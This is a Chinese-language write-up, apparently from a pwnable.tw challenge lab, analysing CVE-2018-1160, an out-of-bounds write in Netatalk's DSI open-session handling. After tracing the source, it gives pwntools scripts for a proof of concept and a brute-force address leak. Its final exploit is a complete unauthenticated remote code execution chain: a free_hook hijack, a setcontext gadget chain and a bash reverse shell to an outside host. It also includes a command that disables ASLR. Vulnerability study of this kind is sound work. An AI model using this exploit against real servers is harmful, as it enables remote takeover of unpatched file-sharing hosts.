CVE-2018-1160
简介
漏洞简介:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1160
3.1.12之前的Netatalk容易受到dsi_opensess.c中越界写入的影响,缺乏对攻击者数据边界检查,未经身份验证的远程攻击者可以利用此漏洞实现任意代码执行。
Netatalk简介:
https://github.com/Netatalk/netatalk
是一个免费开源的文件管理器,实现了AFP(Apple Filing Protocol),是Apple Macintosh和Apple II计算机的主要文件共享协议。
漏洞定位
Netatalk3.1.11源码:
https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/
首先先确定下漏洞位置,根据漏洞简介找一下dsi_opensess.c:
由于是越界写的问题,所以我们可以关注一下关于能写入的函数:
因为代码就一点点,基本可以确定漏洞为第一个memcpy:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
为了确定为啥会有漏洞,让我们来看看这个memcpy函数的各个参数都是啥,可以看到都涉及到dsi==》直接右键选择转到类型定义:
#define DSI_DATASIZ 65536
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
//…………
uint32_t attn_quantum, datasize, server_quantum; //第一个参数
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */ //第二,三个参数相关 0~255
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */
//…………
} DSI;
可以看到第一个参数指向dsi中的成员attn_quantum,为一个4字节的无符号整型,第二个参数为uint8_t类型,0~0xff(255)==》memcpy函数将从dsi->commands的索引i + 1开始复制dsi->commands[i]字节到&dsi->attn_quantum所指向的地址==》当memcpy复制的大小dsi->commands[i]为我们所控制,memcpy将导致越界写,能覆盖attn_quantum, datasize, server_quantum,serverID, clientID,*commands,但是由于后续的data[DSI_DATASIZ]过于大65536,所以只能溢出到data的一部分。
程序分析
确定完漏洞的位置,我们还要搞清楚程序的执行流程,要如何传入数据可以触发漏洞函数。
那就从main函数开始看起:
在main中根据已有的注释信息,大概判断一下关于对网络连接的处理,例下方设置监听AFP:
往下翻翻就可以看到一个大while,大致判断一下关于网络连接的处理应该是在这个大while中了:
继续往下翻翻,可以看到关于监听套接字的文件描述符LISTEN_FD:
在服务器程序中,当服务器需要监听来自客户端的连接请求时,通常要创建一个监听套接字,并通过bind()和listen()函数将其绑定到指定的地址和端口上;
LISTEN_FD就是用来表示这个监听套接字的的文件描述符==》通过描述符,服务器可以使用相关的系统调用(例:accept())来接收客户端的连接请求,并创建新的套接字来处理与客户端的通信;、
通常,服务器程序会使用多进程或多线程的方式,通过复制多个LISTEN_FD来实现并发处理多个请求==》在AFP中也是类似,对于每个用户请求都会为其fork一个子进程进行处理,而父进程则负责监控请求的处理。
==》通过遍历asev->fdset数组,检查每个文件描述符的事件状态revents(事件返回后的事件标志,每个位代表不同的类型事件)
POLLIN表示有可读数据,也就是文件描述符上有可读事件;POLLIN被定义为POLLRDNORM | POLLRDBAND,这种情况下POLLIN将被定位为同时包括POLLRDNORM(普通可读事件)和POLLRDBAND(优先可读事件)两种事件;使用按位或操作可以同时检测两种事件;
POLLERR表示文件描述符上出现了错误事件;
POLLHUP表示文件描述符上出现了挂起(连接关闭)事件;
POLLNVAL表示不是一个有效的文件描述符;
==》判断是否存在需要处理的事件,若存在待处理事件,则根据fdtype确定是哪种类型的套接字==》
对于LISTEN_FD,它负责监听套接字的事件,当监听套接字上发生事件,表示有新的请求到达==》调用dsi_start()函数进行处理请求,并创建一个子进程来处理对客户端的通信,创建的子进程会继承监听套接字的文件描述符,并将其添加到asev中;
若成功创建子进程并将套接字添加到asev中,就会对其进行一些操作:检查asev是否还有插槽,如果没有则输出错误日志==》关闭子进程的IPC文件描述符,并将其标记为未使用==》最后使用SIGKILL信号强制中止子进程。
==》所以对于请求处理应该在dsi_start()函数中:
调用了dsi_getsession函数,那就继续看看定义:
函数调用了dsi->proto_open(dsi)进行TCP消息的接收和处理,根据注释找到dsi_tcp.c,在其中的初始化函数dsi_tcp_init中可以看到:
所以dsi->proto_open()的函数实体是dsi_tcp_open():
/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
pid_t pid;
SOCKLEN_T len;
len = sizeof(dsi->client);
dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
//……
if (dsi->socket < 0)
return -1;
getitimer(ITIMER_PROF, &itimer);
//使用fork创建子进程
if (0 == (pid = fork()) ) { /* child */
static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
struct sigaction newact, oldact;
uint8_t block[DSI_BLOCKSIZ]; //用于接收DSI数据
size_t stored;
/* reset signals */
server_reset_signal();
//…………
dsi_init_buffer(dsi);
/* read in commands. this is similar to dsi_receive except
* for the fact that we do some sanity checking to prevent
* delinquent connections from causing mischief. */
/* read in the first two bytes */
//读取两个字节
len = dsi_stream_read(dsi, block, 2);
if (!len ) {
/* connection already closed, don't log it (normal OSX 10.3 behaviour) */
exit(EXITERR_CLOSED);
}
if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
exit(EXITERR_CLNT);
}
/* read in the rest of the header */
//读取剩下的header
stored = 2;
while (stored < DSI_BLOCKSIZ) {
len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}
//将DSI(数据包) header的值复制到dsi->header结构体里
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
memcpy(&dsi->header.dsi_requestID, block + 2,
sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12,
sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);
/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);
stored = 0;
//读取DSI command到dis->commands指针指向的buf中
while (stored < dsi->cmdlen) {
len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}
/* stop timer and restore signal handler */
}
/* send back our pid */
return pid;
}
总的来说就是调用fork创建子进程,在子进程中将从TCP会话中读取的DSI header复制到dsi->header结构体里,再将DSI command读取到dsi->commands指向的buf中;
==》根据返回值是父进程还是子进程进入不同的处理逻辑:
父进程:直接返回,继续回去监听socket;
子进程:进入DSI消息处理逻辑,根据后续dsi_command的值进行不同的处理:
当dsi_command值为DSIFUNC_OPEN时,将调用dsi_opensession(漏洞)函数,初始化DSI会话;
在这其中涉及到了dsi->header.dsi_command:
看一下定义:右键header转到类型定义:这个dsi_block就是消息的头部了
#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
再之后就来到漏洞函数里了:
由switch得知dsi_opensession函数将判断commands[0]的值,若为DSIOPT_ATTNQUANT将会触发越界写:
以commands[1]为大小(可控制),将commands[2]之后的内容拷贝至&dsi->attn_quantum;
并且在上文DSI结构体中*commands是uint8_t类型,占用4bytes,也就是最大0xff大小(0-255);
uint8_t *commands;
将导致越界写漏洞,根据写入位置与结构体成员变量,该漏洞将覆盖attn_quantum, datasize, server_quantum,serverID, clientID,*commands,data[DSI_DATASIZ];
#define DSI_DATASIZ 65536
因为data数组较大,所以最多也就覆盖至data的部分空间;
在上文漏洞定位中提到越界写将覆盖掉*commands,刚好是一个指针,且能覆盖为任意值,若在这之后能向覆盖后的指针指向的位置写入数据,将能实现任意写,而写入的动作在程序中应该表现为读取DSI数据内容并复制==》
我们将需要发送两次DSI消息:
1、覆盖commands指针为目标地址(hook)
2、触发读取消息的函数,实现向目标地址中写数据
所以我们的程序分析还没有结束,从漏洞所在函数返回子进程到dsi_start中:
接下来程序将会继续执行afp_over_dsi函数了:该函数用于继续会话,使用阻塞的方式继续读取消息;
而在afp_over_dsi的大while中就可以看到一个读取函数dsi_stream_receive了:
dsi_stream_receive:
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
if (dsi->flags & DSI_DISCONNECTED)
return 0;
/* read in the header */
//与刚刚上文分析的类似的流程,读取DSI header到dsi->header
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
if (dsi->header.dsi_command == 0)
return 0;
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);
/* make sure we don't over-write our buffers. */
//dsi->cmdlen
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}
//读取DSI command到dsi->commands指向的buf中,长度:dsi->cmdline
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
return block[1];
}
可以看到在最后进行了读取DSI command到dsi->commands的操作,将造成任意地址写,也就是:
dsi_stream_read(dsi, dsi->commands, dsi->cmdlen)
漏洞利用
由于pwnable.tw有编译好的环境那就直接使用了
https://pwnable.tw/challenge/#39
将netatalk下载完后,解压netatalk,查看:
afpd就是目标程序了,afp.conf是配置文件,查看下:
程序将会监听5566端口;使用以下命令运行:
env LD_PRELOAD=./libatalk.so.18 LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf
可以使用netstat -tnlp确定是否开启了5566端口:
而为了能发送合法的数据包,还得先看一下数据包的格式
https://en.wikipedia.org/wiki/Data_Stream_Interface#cite_note-2
在dsi.h中也有注释说明:
/* What a DSI packet looks like:
0 32
|-------------------------------|
|flags |command| requestID |
|-------------------------------|
|error code/enclosed data offset|
|-------------------------------|
|total data length |
|-------------------------------|
|reserved field |
|-------------------------------|
CONVENTION: anything with a dsi_ prefix is kept in network byte order.
*/
要进入目标函数,还需要满足一些条件:
1、
#define DSIFUNC_OPEN 4 /* DSIOpenSession */
2、
#define DSIOPT_ATTNQUANT 0x01 /* attention quantum */
构造一个不合法的DSI Open Session请求:
# -*- coding:utf-8 -*-
from pwn import *
import struct
context(log_level="debug")
IP = "127.0.0.1"
port = 5566
sock = remote(IP , port)
# dsi_opensession = b"\x01"
# dsi_opensession += b"\x80" #length
# dsi_opensession += b"a"*0x80 #client quantum
dsi_opensession = b"\x01"
dsi_opensession += p8(0xc)
dsi_opensession += b"a" * 0x8 + b"clre"
dsi_header = b"\x00" #flag
dsi_header += b"\x04" #command DSIFUNC_OPEN
dsi_header += b"\x00\x01" #requestID
dsi_header += b"\x00\x00\x00\x00" #data offset
dsi_header += struct.pack(b">I",len(dsi_opensession)) #data length
dsi_header += b"\x00\x00\x00\x00" #reserved 保留字段
dsi_header += dsi_opensession
sock.send(dsi_header)
sock.recv()
#pause()
sock.interactive()
关闭ASLR(方便调试)
echo 0 > /proc/sys/kernel/randomize_va_space
启动调试:
sudo gdb --pid [pid] -q
set follow-fork-mode child #追踪子进程
c
#运行poc.py
进程停止,原因是对地址非法解引用了==》记录此处地址,将poc改成刚刚好覆盖掉attn_quantum, datasize, server_quantum;
==》再次运行poc:
此时它正好返回我们覆盖“clre”的server_quantum,通过search可以匹配到==》所以紧随其后的0x00007f3ea690b010就是*commands了;
通过vmmap查看内存布局,找到*commands所在地址范围,此处我原本使用的环境是ubuntu20.04,但是发现内存布局不是很符合预期,就换成了ubuntu18.04:
可以看出*commands就位于ld.so后面,且大小较大,为此,还得看一下这个内存块是怎么来的;大致判断下创建该空间应该是在fork子进程后实现,所以会在dsi_tcp.c中,也就是上文中的dsi_tcp_open函数中;大致判断一下可以看出是dsi_init_buffer(dsi);,初始化内存空间;
当然,也是可以直接查看dsi->command的引用,也是可以看到的:
并且dsi->server_quantum的初始值为DSI_SERVQUANT_DEF ,0x100000超过了brk()能分配的最大大小,所以dsi->commands是由mmap分配的;
#define DSI_SERVQUANT_DEF 0x100000L /* default server quantum (1 MB) */
泄露地址
在上文中可以看到,如果我们发送了一个覆盖掉command为非法地址的数据包,会触发非法地址访问,程序将不会有返回包;反之若为合法地址的话会有一个返回包==》
由于每次进行TCP连接都会通过fork一个子进程来处理,而子进程与父进程的地址空间是相同的==》
我们可以通过单字节修改的方式修改command,当程序不出现crash时就证明它是一个合法的地址,并且程序也会将带有server_quantum的数据包返回给我们==》
由此,我们将可以获得一个合法的地址,并根据这个地址可以计算获得libc的基地址==》
在上文中可以看到command所在的内存地址位于高地址,所以可以选择从高地址往低地址方向爆破(255->0)==》
就像是这样,通过单字节修改command,当不出现crash就是合法地址了:
dsi_opensession = b"\x01"
dsi_opensession += p8(0x11)
dsi_opensession += b"a" * 0x10 + b"A"
# -*- coding:utf-8 -*-
from pwn import *
import struct
context(log_level="debug")
IP = "192.168.121.141"
port = 5566
def create_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0) #data offset
dsi += p32(len(data),endian='big') #data length
dsi += p32(0) #保留字段
dsi += data
return dsi
def leak_addr():
leak = b''
for j in range(8):
for i in range(256):
if(j>1 and j<6): i = 255 - i #从高到低
io = remote(IP,port)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
io.send(create_dsi(payload)) #触发越界写
try:
a = io.recv()
leak += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
return u64(leak)
leak_addr = leak_addr()
log.success(hex(leak_addr))
执行结果:
查看一下目标程序的内存地址分布
cat /proc/[PID]/maps
可以看到泄露出来的地址正好就在ld.so后面;并且可以根据这个地址拿到上面libc的基地址,我这里距离基地址为0xebb000;
leak_addr = leak_addr()
libc_base = leak_addr - 0xebb000
构造利用链
获取了基地址后也就可以继续构思如何实现RCE了,一般在PWN中,我们一般都是通过劫持几个特殊的函数指针实现:
例如free_hook,exit_hook这些
https://xuanxuanblingbling.github.io/ctf/pwn/2021/05/31/libc/
当然,在本程序中肯定是不会缺少free的,所以决定往劫持free_hook的方向走==》我们的最终目的是system([cmd])==》所以是需要一些gadgets控制一些寄存器实现==》在libc2.27中就恰好有一段gadget,就是setcontext+53,他在你控制了rdi寄存器的情况下,几乎可以控制所有寄存器;并且在pwntools中也有方便我们控制这段代码的SigreturnFrame,详情的话可以去看看SROP==》
setcontext+53:
为此我们还需要控制rdi,这里参考了一些师傅的文章看到了以下两个gadget:
__libc_dlopen_mode+56:
这段gadget首先将_dl_open_hook内的值赋值给rax,再以rax里面的值为地址取里面的值,跳转至该值对应的地址上;
并且_dl_open_hook也是比较好劫持的,它就在free_hook下方,可以在覆盖劫持free_hook的时候顺便劫持;偏移为0x2ca0
fgetpos64+207:
这个gadget可以使用ROPgadget找到,主要目的就是将rax赋值给rdi;
ROPgadget --binary libc-2.27.so --only "mov|call" | grep "mov rdi, rax"
至此,我们已经可以实现控制执行流和大部分寄存器;
布局:
==》payload覆盖了free_hook,使得在执行free时执行libc_dlopen_mode+56,这个gadget会取_dl_open_hook中的值赋值给rax,此时这个值被我们覆盖为了_dl_open_hook+8,赋值给rax,然后就会再取rax(_dl_open_hook+8)里面的值进行跳转,也就是第二个gadget:fgetpos64+207==》
在这个gadget中将rax的值赋值给了rdi,所以现在rax=rd的值为_dl_open_hook+8;
进行call,跳转到rax+0x20,所以后面需要填充一段数据0x18大小,加上0x8大小的_dl_open_hook+8刚好为0x20==》
此时来到了rax+0x20 :setcontext+53,因为rdi被赋值为_dl_open_hook+8,距离后续的sigframe还有0x28字节,所以在后面使用SigreturnFrame布局sigframe时要跳过前0x28字节==》
最后就是命令执行了,提前在free_hook+8中写入命令(cmd),调用system进行执行。
EXP
# -*- coding:utf-8 -*-
from pwn import *
import struct
context(arch="amd64", log_level="debug")
IP = "192.168.121.141" #
port = 5566
libc = ELF('./libc-2.27.so')
cmd = b'bash -c "bash -i>& /dev/tcp/192.168.121.139/8888 0<&1"'
def create_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0) #data offset
dsi += p32(len(data),endian='big') #data length
dsi += p32(0) #保留字段
dsi += data
return dsi
def leak_addr():
leak = b''
for j in range(8):
for i in range(256):
if(j>1 and j<6): i = 255 - i #从高到低
io = remote(IP,port)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
io.send(create_dsi(payload)) #触发越界写
try:
a = io.recv()
leak += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
return u64(leak)
def command_free(io,addr):
payload = b'\x01' + p8(0x18) + b"A"*0x10 + p64(addr)
dsi_free = create_dsi(payload)
io.send(dsi_free)
try:
reply = io.recv()
return reply # it will retrun "AAAA"
except:
return None
leak_addr = leak_addr()
log.success(hex(leak_addr))
libc_base = leak_addr - 0xebb000
#libc_base = 0x
log.success(hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
dl_open_hook=libc_base+libc.sym["_dl_open_hook"]
system_addr=libc_base+libc.sym["system"]
setcontext_53=libc_base+0x52085
libc_dlopen_mode_56=libc_base+0x166318
fgetpos64_207=libc_base+0x7E9cF
sigframe = SigreturnFrame()
sigframe.rip = system_addr
sigframe.rdi = free_hook + 8
sigframe.rsp = free_hook
payload = p64(libc_dlopen_mode_56)
payload += cmd.ljust(0x2ca0-8,b"\x00")
payload += p64(dl_open_hook + 8)
payload += p64(fgetpos64_207)
payload += b"A"*0x18
payload += p64(setcontext_53)
payload += bytes(sigframe)[0x28:] #跳过前28字节
io = remote(IP,port)
command_free(io,free_hook) #触发越界写,将free_hook写入command
io.send(create_dsi(payload))
io.close() #隐式调用free,促发call __free_hook
验证:
本地的话大概1分钟不到就rce了。
总结
此漏洞在3.1.12版本已被修复: